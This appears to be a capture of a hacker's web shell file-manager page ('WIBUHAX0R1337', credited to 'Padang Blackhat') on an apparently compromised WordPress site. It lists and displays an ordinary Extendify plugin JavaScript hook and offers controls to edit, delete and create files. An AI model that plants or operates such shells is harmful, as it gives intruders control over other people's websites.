-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
extendify
/
src
/
Draft
/
hooks
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
useCompletion.js
1.368KB
Edit File
Delete File
Rename
useRouter.js
2.879KB
Edit File
Delete File
Rename
useSelectedText.js
0.968KB
Edit File
Delete File
Rename
import { store as blockEditorStore } from '@wordpress/block-editor'; import { useSelect } from '@wordpress/data'; import { useCallback } from '@wordpress/element'; const htmlToText = (html) => { try { const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); return doc.body.textContent || ''; } catch (error) { return ''; } }; export const useSelectedText = () => { const { getSelectedBlockClientIds, getBlocksByClientId } = useSelect( (select) => select(blockEditorStore), [], ); const selectedBlockId = getSelectedBlockClientIds(); const getSelectedContent = useCallback(() => { const selectedBlocks = getBlocksByClientId(selectedBlockId); if (!selectedBlocks?.length) return ''; const raw = selectedBlocks .filter(Boolean) .map(({ attributes }) => attributes?.content ?? '') .join('\n\n'); return htmlToText(raw); }, [getBlocksByClientId, selectedBlockId]); return { selectedText: getSelectedContent().trim() }; };
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat